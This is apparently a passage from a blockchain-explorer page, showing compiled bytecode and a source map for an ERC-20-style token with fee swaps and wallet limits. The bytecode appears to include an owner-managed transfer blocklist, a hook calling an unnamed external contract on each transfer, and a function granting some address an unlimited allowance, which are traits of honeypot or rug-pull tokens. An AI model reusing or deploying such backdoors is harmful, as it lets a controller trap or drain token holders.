366004611492565b6108b7565b34801561044757600080fd5b50610269610456366004611546565b6108c4565b34801561046757600080fd5b506101ff6104763660046116f1565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156104ad57600080fd5b506102696104bc36600461171f565b610956565b3480156104cd57600080fd5b50610269610988565b60006104e33384846109b1565b5060015b92915050565b60006104fb6009600a611832565b61050a9064e8d4a51000611841565b905090565b600061051c848484610ad5565b61056e8433610569856040518060600160405280602881526020016119df602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610fb8565b6109b1565b5060019392505050565b6000546001600160a01b031633146105ab5760405162461bcd60e51b81526004016105a290611858565b60405180910390fd5b60005b8151811015610613576000600460008484815181106105cf576105cf61188d565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061060b816118a3565b9150506105ae565b5050565b6005546001600160a01b0316336001600160a01b03161461063757600080fd5b3060008181526001602052604090205463a9059cbb9033906040516001600160e01b031960e085901b1681526001600160a01b03909216600483015260248201526044016020604051808303816000875af115801561069a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106be91906118bc565b50565b6005546001600160a01b0316336001600160a01b0316146106e157600080fd5b306000908152600160205260409020546106fa90610ff2565b565b6000546001600160a01b031633146107265760405162461bcd60e51b81526004016105a290611858565b6001600160a01b03919091166000908152600360205260409020805460ff1916911515919091179055565b6000546001600160a01b0316331461077b5760405162461bcd60e51b81526004016105a290611858565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146107ef5760405162461bcd60e51b81526004016105a290611858565b6107fb6009600a611832565b61080a9064e8d4a51000611841565b600b556108196009600a611832565b6108289064e8d4a51000611841565b600c557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6108586009600a611832565b6108679064e8d4a51000611841565b60405190815260200160405180910390a1565b6000546001600160a01b031633146108a45760405162461bcd60e51b81526004016105a290611858565b600060068190556007556106be8161116c565b60006104e3338484610ad5565b6000546001600160a01b031633146108ee5760405162461bcd60e51b81526004016105a290611858565b60005b8151811015610613576001600460008484815181106109125761091261188d565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061094e816118a3565b9150506108f1565b6005546001600160a01b0316336001600160a01b03161461097657600080fd5b6006811061098357600080fd5b600755565b6005546001600160a01b0316336001600160a01b0316146109a857600080fd5b6106fa476111c6565b6001600160a01b038316610a135760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105a2565b6001600160a01b038216610a745760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105a2565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b395760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105a2565b6001600160a01b038216610b9b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105a2565b60008111610bfd5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105a2565b600080546001600160a01b03858116911614801590610c2a57506000546001600160a01b03848116911614155b15610e75576001600160a01b03841660009081526004602052604090205460ff16158015610c7157506001600160a01b03831660009081526004602052604090205460ff16155b610c7a57600080fd5b610c85848484611200565b600f54600160a01b900460ff16610cc557610cc26064610cbc60085460095411610cb157600654610cb5565b6007545b8590611295565b9061131e565b90505b600f546001600160a01b038581169116148015610cf05750600e546001600160a01b03848116911614155b8015610d1557506001600160a01b03831660009081526003602052604090205460ff16155b15610dfd57600b54821115610d6c5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016105a2565b600c5482610d8f856001600160a01b031660009081526001602052604090205490565b610d9991906118d9565b1115610de75760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016105a2565b60098054906000610df7836118a3565b91905055505b30600090815260016020526040902054600f54600160a01b900460ff16158015610e355750600f546001600160a01b03868116911614155b8015610e425750600d5481115b15610e7357610e6183600d5411610e5b57600d54610ff2565b83610ff2565b478015610e7157610e71476111c6565b505b505b6001600160a01b038416600090815260016020526040902054610e989083611360565b6001600160a01b038516600090815260016020526040902055610edd610ebe8383611360565b6001600160a01b038516600090815260016020526040902054906113a2565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610f278585611360565b60405190815260200160405180910390a38015610fb25730600090815260016020526040902054610f5890826113a2565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610fa99085815260200190565b60405180910390a35b50505050565b60008184841115610fdc5760405162461bcd60e51b81526004016105a2919061142f565b506000610fe984866118ec565b95945050505050565b600f805460ff60a01b1916600160a01b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061103a5761103a61188d565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611093573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110b791906118ff565b816001815181106110ca576110ca61188d565b6001600160a01b039283166020918202929092010152600e546110f091309116846109b1565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061112990859060009086903090429060040161191c565b600060405180830381600087803b15801561114357600080fd5b505af1158015611157573d6000803e3d6000fd5b5050600f805460ff60a01b1916905550505050565b60008082806020019051810190611183919061198d565b600a80546001600160a01b0319166001600160a01b0392831690811790915591166000908152600260209081526040808320938352929052206000199055505050565b6005546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610613573d6000803e3d6000fd5b600a546001600160a01b03161561129057600a54604051635836867b60e11b81526001600160a01b0385811660048301528481166024830152604482018490529091169063b06d0cf6906064016020604051808303816000875af115801561126c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fb291906118bc565b505050565b6000826000036112a7575060006104e7565b60006112b38385611841565b9050826112c085836119bc565b146113175760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105a2565b9392505050565b600061131783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611401565b600061131783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fb8565b6000806113af83856118d9565b9050838110156113175760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105a2565b600081836114225760405162461bcd60e51b81526004016105a2919061142f565b506000610fe984866119bc565b600060208083528351808285015260005b8181101561145c57858101830151858201604001528201611440565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146106be57600080fd5b600080604083850312156114a557600080fd5b82356114b08161147d565b946020939093013593505050565b6000806000606084860312156114d357600080fd5b83356114de8161147d565b925060208401356114ee8161147d565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff8111828210171561153e5761153e6114ff565b604052919050565b6000602080838503121561155957600080fd5b823567ffffffffffffffff8082111561157157600080fd5b818501915085601f83011261158557600080fd5b813581811115611597576115976114ff565b8060051b91506115a8848301611515565b81815291830184019184810190888411156115c257600080fd5b938501935b838510156115ec57843592506115dc8361147d565b82825293850193908501906115c7565b98975050505050505050565b80151581146106be57600080fd5b6000806040838503121561161957600080fd5b82356116248161147d565b91506020830135611634816115f8565b809150509250929050565b60006020828403121561165157600080fd5b81356113178161147d565b6000602080838503121561166f57600080fd5b823567ffffffffffffffff8082111561168757600080fd5b818501915085601f83011261169b57600080fd5b8135818111156116ad576116ad6114ff565b6116bf601f8201601f19168501611515565b915080825286848285010111156116d557600080fd5b8084840185840137600090820190930192909252509392505050565b6000806040838503121561170457600080fd5b823561170f8161147d565b915060208301356116348161147d565b60006020828403121561173157600080fd5b5035919050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561178957816000190482111561176f5761176f611738565b8085161561177c57918102915b93841c9390800290611753565b509250929050565b6000826117a0575060016104e7565b816117ad575060006104e7565b81600181146117c357600281146117cd576117e9565b60019150506104e7565b60ff8411156117de576117de611738565b50506001821b6104e7565b5060208310610133831016604e8410600b841016171561180c575081810a6104e7565b611816838361174e565b806000190482111561182a5761182a611738565b029392505050565b600061131760ff841683611791565b80820281158282048414176104e7576104e7611738565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b6000600182016118b5576118b5611738565b5060010190565b6000602082840312156118ce57600080fd5b8151611317816115f8565b808201808211156104e7576104e7611738565b818103818111156104e7576104e7611738565b60006020828403121561191157600080fd5b81516113178161147d565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561196c5784516001600160a01b031683529383019391830191600101611947565b50506001600160a01b03969096166060850152505050608001529392505050565b600080604083850312156119a057600080fd5b82516119ab8161147d565b60208401519092506116348161147d565b6000826119d957634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220211063c0bba456ae0d145160a814697e430e2f9f87189e859ffae97c0204f51864736f6c63430008130033

Deployed Bytecode Sourcemap

3712:7590:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5454:83;;;;;;;;;;-1:-1:-1;5524:5:0;;;;;;;;;;;;-1:-1:-1;;;5524:5:0;;;;5454:83;;;;;;;:::i;:::-;;;;;;;;6287:161;;;;;;;;;;-1:-1:-1;6287:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6287:161:0;1023:187:1;5731:95:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;5731:95:0;1215:177:1;6861:313:0;;;;;;;;;;-1:-1:-1;6861:313:0;;;;;:::i;:::-;;:::i;5640:83::-;;;;;;;;;;-1:-1:-1;5640:83:0;;4284:1;2000:36:1;;1988:2;1973:18;5640:83:0;1858:184:1;10481:162:0;;;;;;;;;;-1:-1:-1;10481:162:0;;;;;:::i;:::-;;:::i;:::-;;4589:45;;;;;;;;;;;;;;;;4217:23;;;;;;;;;;-1:-1:-1;4217:23:0;;;;-1:-1:-1;;;;;4217:23:0;;;;;;-1:-1:-1;;;;;3649:32:1;;;3631:51;;3619:2;3604:18;4217:23:0;3485:203:1;4698:28:0;;;;;;;;;;-1:-1:-1;4698:28:0;;;;-1:-1:-1;;;;;4698:28:0;;;11130:169;;;;;;;;;;;;;:::i;10845:138::-;;;;;;;;;;;;;:::i;7525:126::-;;;;;;;;;;-1:-1:-1;7525:126:0;;;;;:::i;:::-;;:::i;5834:119::-;;;;;;;;;;-1:-1:-1;5834:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5927:18:0;5900:7;5927:18;;;:9;:18;;;;;;;5834:119;2689:148;;;;;;;;;;;;;:::i;9882:159::-;;;;;;;;;;;;;:::i;4475:49::-;;;;;;;;;;;;;;;;10149:152;;;;;;;;;;-1:-1:-1;10149:152:0;;;;;:::i;:::-;;:::i;2475:79::-;;;;;;;;;;-1:-1:-1;2513:7:0;2540:6;-1:-1:-1;;;;;2540:6:0;2475:79;;4531:51;;;;;;;;;;;;;;;;5545:87;;;;;;;;;;-1:-1:-1;5617:7:0;;;;;;;;;;;;-1:-1:-1;;;5617:7:0;;;;5545:87;;5961:167;;;;;;;;;;-1:-1:-1;5961:167:0;;;;;:::i;:::-;;:::i;10309:164::-;;;;;;;;;;-1:-1:-1;10309:164:0;;;;;:::i;:::-;;:::i;6136:143::-;;;;;;;;;;-1:-1:-1;6136:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6244:18:0;;;6217:7;6244:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6136:143;10651:147;;;;;;;;;;-1:-1:-1;10651:147:0;;;;;:::i;:::-;;:::i;10991:131::-;;;;;;;;;;;;;:::i;6287:161::-;6362:4;6379:39;310:10;6402:7;6411:6;6379:8;:39::i;:::-;-1:-1:-1;6436:4:0;6287:161;;;;;:::o;5731:95::-;5784:7;4343:13;4284:1;4343:2;:13;:::i;:::-;4327:29;;:13;:29;:::i;:::-;5804:14;;5731:95;:::o;6861:313::-;6959:4;6976:36;6986:6;6994:9;7005:6;6976:9;:36::i;:::-;7023:121;7032:6;310:10;7054:89;7092:6;7054:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7054:19:0;;;;;;:11;:19;;;;;;;;310:10;7054:33;;;;;;;;;;:37;:89::i;:::-;7023:8;:121::i;:::-;-1:-1:-1;7162:4:0;6861:313;;;;;:::o;10481:162::-;2602:6;;-1:-1:-1;;;;;2602:6:0;310:10;2602:22;2594:67;;;;-1:-1:-1;;;2594:67:0;;;;;;;:::i;:::-;;;;;;;;;10554:6:::1;10549:87;10570:6;:13;10566:1;:17;10549:87;;;10621:5;10603:4;:15;10608:6;10615:1;10608:9;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;10603:15:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;10603:15:0;:23;;-1:-1:-1;;10603:23:0::1;::::0;::::1;;::::0;;;::::1;::::0;;10585:3;::::1;::::0;::::1;:::i;:::-;;;;10549:87;;;;10481:162:::0;:::o;11130:169::-;11201:10;;-1:-1:-1;;;;;11201:10:0;310;-1:-1:-1;;;;;11185:26:0;;11177:35;;;;;;11238:4;5900:7;5927:18;;;:9;:18;;;;;;11223:30;;11254:10;;11223:68;;-1:-1:-1;;;;;;11223:68:0;;;;;;;-1:-1:-1;;;;;8314:32:1;;;11223:68:0;;;8296:51:1;8363:18;;;8356:34;8269:18;;11223:68:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;11130:169::o;10845:138::-;10911:10;;-1:-1:-1;;;;;10911:10:0;310;-1:-1:-1;;;;;10895:26:0;;10887:35;;;;;;10968:4;5900:7;5927:18;;;:9;:18;;;;;;10933:42;;:16;:42::i;:::-;10845:138::o;7525:126::-;2602:6;;-1:-1:-1;;;;;2602:6:0;310:10;2602:22;2594:67;;;;-1:-1:-1;;;2594:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7608:26:0;;;::::1;;::::0;;;:18:::1;:26;::::0;;;;:35;;-1:-1:-1;;7608:35:0::1;::::0;::::1;;::::0;;;::::1;::::0;;7525:126::o;2689:148::-;2602:6;;-1:-1:-1;;;;;2602:6:0;310:10;2602:22;2594:67;;;;-1:-1:-1;;;2594:67:0;;;;;;;:::i;:::-;2796:1:::1;2780:6:::0;;2759:40:::1;::::0;-1:-1:-1;;;;;2780:6:0;;::::1;::::0;2759:40:::1;::::0;2796:1;;2759:40:::1;2827:1;2810:19:::0;;-1:-1:-1;;;;;;2810:19:0::1;::::0;;2689:148::o;9882:159::-;2602:6;;-1:-1:-1;;;;;2602:6:0;310:10;2602:22;2594:67;;;;-1:-1:-1;;;2594:67:0;;;;;;;:::i;:::-;4343:13:::1;4284:1;4343:2;:13;:::i;:::-;4327:29;::::0;:13:::1;:29;:::i;:::-;9935:12;:22:::0;4343:13:::1;4284:1;4343:2;:13;:::i;:::-;4327:29;::::0;:13:::1;:29;:::i;:::-;9968:14;:22:::0;10006:27:::1;4343:13;4284:1;4343:2;:13;:::i;:::-;4327:29;::::0;:13:::1;:29;:::i;:::-;10006:27;::::0;1361:25:1;;;1349:2;1334:18;10006:27:0::1;;;;;;;9882:159::o:0;10149:152::-;2602:6;;-1:-1:-1;;;;;2602:6:0;310:10;2602:22;2594:67;;;;-1:-1:-1;;;2594:67:0;;;;;;;:::i;:::-;10238:1:::1;10224:11;:15:::0;;;10250:9:::1;:13:::0;10276:17:::1;10290:2:::0;10276:13:::1;:17::i;5961:167::-:0;6039:4;6056:42;310:10;6080:9;6091:6;6056:9;:42::i;10309:164::-;2602:6;;-1:-1:-1;;;;;2602:6:0;310:10;2602:22;2594:67;;;;-1:-1:-1;;;2594:67:0;;;;;;;:::i;:::-;10383:6:::1;10378:88;10399:5;:12;10395:1;:16;10378:88;;;10450:4;10433;:14;10438:5;10444:1;10438:8;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;10433:14:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;10433:14:0;:21;;-1:-1:-1;;10433:21:0::1;::::0;::::1;;::::0;;;::::1;::::0;;10413:3;::::1;::::0;::::1;:::i;:::-;;;;10378:88;;10651:147:::0;10726:10;;-1:-1:-1;;;;;10726:10:0;310;-1:-1:-1;;;;;10712:24:0;;10704:33;;;;;;10762:1;10754:7;:9;10746:18;;;;;;10773:9;:17;10651:147::o;10991:131::-;11057:10;;-1:-1:-1;;;;;11057:10:0;310;-1:-1:-1;;;;;11041:26:0;;11033:35;;;;;;11079;11092:21;11079:12;:35::i;7182:335::-;-1:-1:-1;;;;;7275:19:0;;7267:68;;;;-1:-1:-1;;;7267:68:0;;8853:2:1;7267:68:0;;;8835:21:1;8892:2;8872:18;;;8865:30;8931:34;8911:18;;;8904:62;-1:-1:-1;;;8982:18:1;;;8975:34;9026:19;;7267:68:0;8651:400:1;7267:68:0;-1:-1:-1;;;;;7354:21:0;;7346:68;;;;-1:-1:-1;;;7346:68:0;;9258:2:1;7346:68:0;;;9240:21:1;9297:2;9277:18;;;9270:30;9336:34;9316:18;;;9309:62;-1:-1:-1;;;9387:18:1;;;9380:32;9429:19;;7346:68:0;9056:398:1;7346:68:0;-1:-1:-1;;;;;7425:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7477:32;;1361:25:1;;;7477:32:0;;1334:18:1;7477:32:0;;;;;;;7182:335;;;:::o;7659:1724::-;-1:-1:-1;;;;;7747:18:0;;7739:68;;;;-1:-1:-1;;;7739:68:0;;9661:2:1;7739:68:0;;;9643:21:1;9700:2;9680:18;;;9673:30;9739:34;9719:18;;;9712:62;-1:-1:-1;;;9790:18:1;;;9783:35;9835:19;;7739:68:0;9459:401:1;7739:68:0;-1:-1:-1;;;;;7826:16:0;;7818:64;;;;-1:-1:-1;;;7818:64:0;;10067:2:1;7818:64:0;;;10049:21:1;10106:2;10086:18;;;10079:30;10145:34;10125:18;;;10118:62;-1:-1:-1;;;10196:18:1;;;10189:33;10239:19;;7818:64:0;9865:399:1;7818:64:0;7910:1;7901:6;:10;7893:64;;;;-1:-1:-1;;;7893:64:0;;10471:2:1;7893:64:0;;;10453:21:1;10510:2;10490:18;;;10483:30;10549:34;10529:18;;;10522:62;-1:-1:-1;;;10600:18:1;;;10593:39;10649:19;;7893:64:0;10269:405:1;7893:64:0;7968:17;2540:6;;-1:-1:-1;;;;;8002:15:0;;;2540:6;;8002:15;;;;:32;;-1:-1:-1;2513:7:0;2540:6;-1:-1:-1;;;;;8021:13:0;;;2540:6;;8021:13;;8002:32;7998:1029;;;-1:-1:-1;;;;;8060:10:0;;;;;;:4;:10;;;;;;;;8059:11;:24;;;;-1:-1:-1;;;;;;8075:8:0;;;;;;:4;:8;;;;;;;;8074:9;8059:24;8051:33;;;;;;8087:29;8099:4;8105:2;8109:6;8087:11;:29::i;:::-;8135:6;;-1:-1:-1;;;8135:6:0;;;;8131:123;;8171:67;8234:3;8171:58;8193:12;;8183:9;;:22;8182:46;;8217:11;;8182:46;;;8207:9;;8182:46;8171:6;;:10;:58::i;:::-;:62;;:67::i;:::-;8159:79;;8131:123;8282:13;;-1:-1:-1;;;;;8274:21:0;;;8282:13;;8274:21;:55;;;;-1:-1:-1;8313:15:0;;-1:-1:-1;;;;;8299:30:0;;;8313:15;;8299:30;;8274:55;:83;;;;-1:-1:-1;;;;;;8335:22:0;;;;;;:18;:22;;;;;;;;8333:24;8274:83;8270:313;;;8397:12;;8387:6;:22;;8379:60;;;;-1:-1:-1;;;8379:60:0;;10881:2:1;8379:60:0;;;10863:21:1;10920:2;10900:18;;;10893:30;10959:27;10939:18;;;10932:55;11004:18;;8379:60:0;10679:349:1;8379:60:0;8492:14;;8482:6;8466:13;8476:2;-1:-1:-1;;;;;5927:18:0;5900:7;5927:18;;;:9;:18;;;;;;;5834:119;8466:13;:22;;;;:::i;:::-;:40;;8458:79;;;;-1:-1:-1;;;8458:79:0;;11365:2:1;8458:79:0;;;11347:21:1;11404:2;11384:18;;;11377:30;11443:28;11423:18;;;11416:56;11489:18;;8458:79:0;11163:350:1;8458:79:0;8556:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8270:313;8648:4;8599:28;5927:18;;;:9;:18;;;;;;8674:6;;-1:-1:-1;;;8674:6:0;;;;8673:7;:32;;;;-1:-1:-1;8692:13:0;;-1:-1:-1;;;;;8684:21:0;;;8692:13;;8684:21;;8673:32;:65;;;;;8730:8;;8709:20;:29;8673:65;8669:347;;;8759:49;8785:6;8776:8;;:15;:31;;8799:8;;10933:16;:42::i;8776:31::-;8792:6;8759:16;:49::i;:::-;8856:21;8899:22;;8896:105;;8946:35;8959:21;8946:12;:35::i;:::-;8740:276;8669:347;8036:991;7998:1029;-1:-1:-1;;;;;9055:15:0;;;;;;:9;:15;;;;;;:27;;9075:6;9055:19;:27::i;:::-;-1:-1:-1;;;;;9039:15:0;;;;;;:9;:15;;;;;:43;9107:40;9125:21;:6;9136:9;9125:10;:21::i;:::-;-1:-1:-1;;;;;9107:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;9093:13:0;;;;;;;:9;:13;;;;;:54;;;;9163:41;;;9182:21;:6;9193:9;9182:10;:21::i;:::-;9163:41;;1361:25:1;;;1349:2;1334:18;9163:41:0;;;;;;;9218:11;;9215:161;;9286:4;9268:24;;;;:9;:24;;;;;;:39;;9297:9;9268:28;:39::i;:::-;9261:4;9243:24;;;;:9;:24;;;;;;;:64;;;;9325:39;;-1:-1:-1;;;;;9325:39:0;;;;;;;9354:9;1361:25:1;;1349:2;1334:18;;1215:177;9325:39:0;;;;;;;;9215:161;7728:1655;7659:1724;;;:::o;1367:190::-;1453:7;1489:12;1481:6;;;;1473:29;;;;-1:-1:-1;;;1473:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1513:9:0;1525:5;1529:1;1525;:5;:::i;:::-;1513:17;1367:190;-1:-1:-1;;;;;1367:190:0:o;9391:483::-;4851:6;:13;;-1:-1:-1;;;;4851:13:0;-1:-1:-1;;;4851:13:0;;;9493:16:::1;::::0;;9507:1:::1;9493:16:::0;;;;;::::1;::::0;;-1:-1:-1;;9493:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9493:16:0::1;9469:40;;9538:4;9520;9525:1;9520:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9520:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;9564:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;9564:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;9520:7;;9564:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9554:4;9559:1;9554:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9554:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;9629:15:::1;::::0;9597:62:::1;::::0;9614:4:::1;::::0;9629:15:::1;9647:11:::0;9597:8:::1;:62::i;:::-;9670:15;::::0;:196:::1;::::0;-1:-1:-1;;;9670:196:0;;-1:-1:-1;;;;;9670:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;9751:11;;9670:15:::1;::::0;9793:4;;9820::::1;::::0;9840:15:::1;::::0;9670:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;4887:6:0;:14;;-1:-1:-1;;;;4887:14:0;;;-1:-1:-1;;;;9391:483:0:o;6632:221::-;6693:13;6708:15;6738:2;6727:34;;;;;;;;;;;;:::i;:::-;6772:8;:18;;-1:-1:-1;;;;;;6772:18:0;-1:-1:-1;;;;;6772:18:0;;;;;;;;;6801;;-1:-1:-1;6801:18:0;;;:11;:18;;;;;;;;:27;;;;;;;-1:-1:-1;;6801:44:0;;-1:-1:-1;;;6632:221:0:o;10049:92::-;10106:10;;:27;;-1:-1:-1;;;;;10106:10:0;;;;:27;;;;;10126:6;;10106:10;:27;:10;:27;10126:6;10106:10;:27;;;;;;;;;;;;;;;;;;;6456:167;6542:8;;-1:-1:-1;;;;;6542:8:0;:22;6538:77;;6575:8;;6567:48;;-1:-1:-1;;;6567:48:0;;-1:-1:-1;;;;;13556:15:1;;;6567:48:0;;;13538:34:1;13608:15;;;13588:18;;;13581:43;13640:18;;;13633:34;;;6575:8:0;;;;6567:30;;13473:18:1;;6567:48:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;6538:77::-;6456:167;;;:::o;1565:246::-;1623:7;1647:1;1652;1647:6;1643:47;;-1:-1:-1;1677:1:0;1670:8;;1643:47;1700:9;1712:5;1716:1;1712;:5;:::i;:::-;1700:17;-1:-1:-1;1745:1:0;1736:5;1740:1;1700:17;1736:5;:::i;:::-;:10;1728:56;;;;-1:-1:-1;;;1728:56:0;;14102:2:1;1728:56:0;;;14084:21:1;14141:2;14121:18;;;14114:30;14180:34;14160:18;;;14153:62;-1:-1:-1;;;14231:18:1;;;14224:31;14272:19;;1728:56:0;13900:397:1;1728:56:0;1802:1;1565:246;-1:-1:-1;;;1565:246:0:o;1819:132::-;1877:7;1904:39;1908:1;1911;1904:39;;;;;;;;;;;;;;;;;:3;:39::i;1223:136::-;1281:7;1308:43;1312:1;1315;1308:43;;;;;;;;;;;;;;;;;:3;:43::i;1036:179::-;1094:7;;1126:5;1130:1;1126;:5;:::i;:::-;1114:17;;1155:1;1150;:6;;1142:46;;;;-1:-1:-1;;;1142:46:0;;14504:2:1;1142:46:0;;;14486:21:1;14543:2;14523:18;;;14516:30;14582:29;14562:18;;;14555:57;14629:18;;1142:46:0;14302:351:1;1959:189:0;2045:7;2080:12;2073:5;2065:28;;;;-1:-1:-1;;;2065:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2104:9:0;2116:5;2120:1;2116;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:127::-;2108:10;2103:3;2099:20;2096:1;2089:31;2139:4;2136:1;2129:15;2163:4;2160:1;2153:15;2179:275;2250:2;2244:9;2315:2;2296:13;;-1:-1:-1;;2292:27:1;2280:40;;2350:18;2335:34;;2371:22;;;2332:62;2329:88;;;2397:18;;:::i;:::-;2433:2;2426:22;2179:275;;-1:-1:-1;2179:275:1:o;2459:1021::-;2543:6;2574:2;2617;2605:9;2596:7;2592:23;2588:32;2585:52;;;2633:1;2630;2623:12;2585:52;2673:9;2660:23;2702:18;2743:2;2735:6;2732:14;2729:34;;;2759:1;2756;2749:12;2729:34;2797:6;2786:9;2782:22;2772:32;;2842:7;2835:4;2831:2;2827:13;2823:27;2813:55;;2864:1;2861;2854:12;2813:55;2900:2;2887:16;2922:2;2918;2915:10;2912:36;;;2928:18;;:::i;:::-;2974:2;2971:1;2967:10;2957:20;;2997:28;3021:2;3017;3013:11;2997:28;:::i;:::-;3059:15;;;3129:11;;;3125:20;;;3090:12;;;;3157:19;;;3154:39;;;3189:1;3186;3179:12;3154:39;3213:11;;;;3233:217;3249:6;3244:3;3241:15;3233:217;;;3329:3;3316:17;3303:30;;3346:31;3371:5;3346:31;:::i;:::-;3390:18;;;3266:12;;;;3428;;;;3233:217;;;3469:5;2459:1021;-1:-1:-1;;;;;;;;2459:1021:1:o;3693:118::-;3779:5;3772:1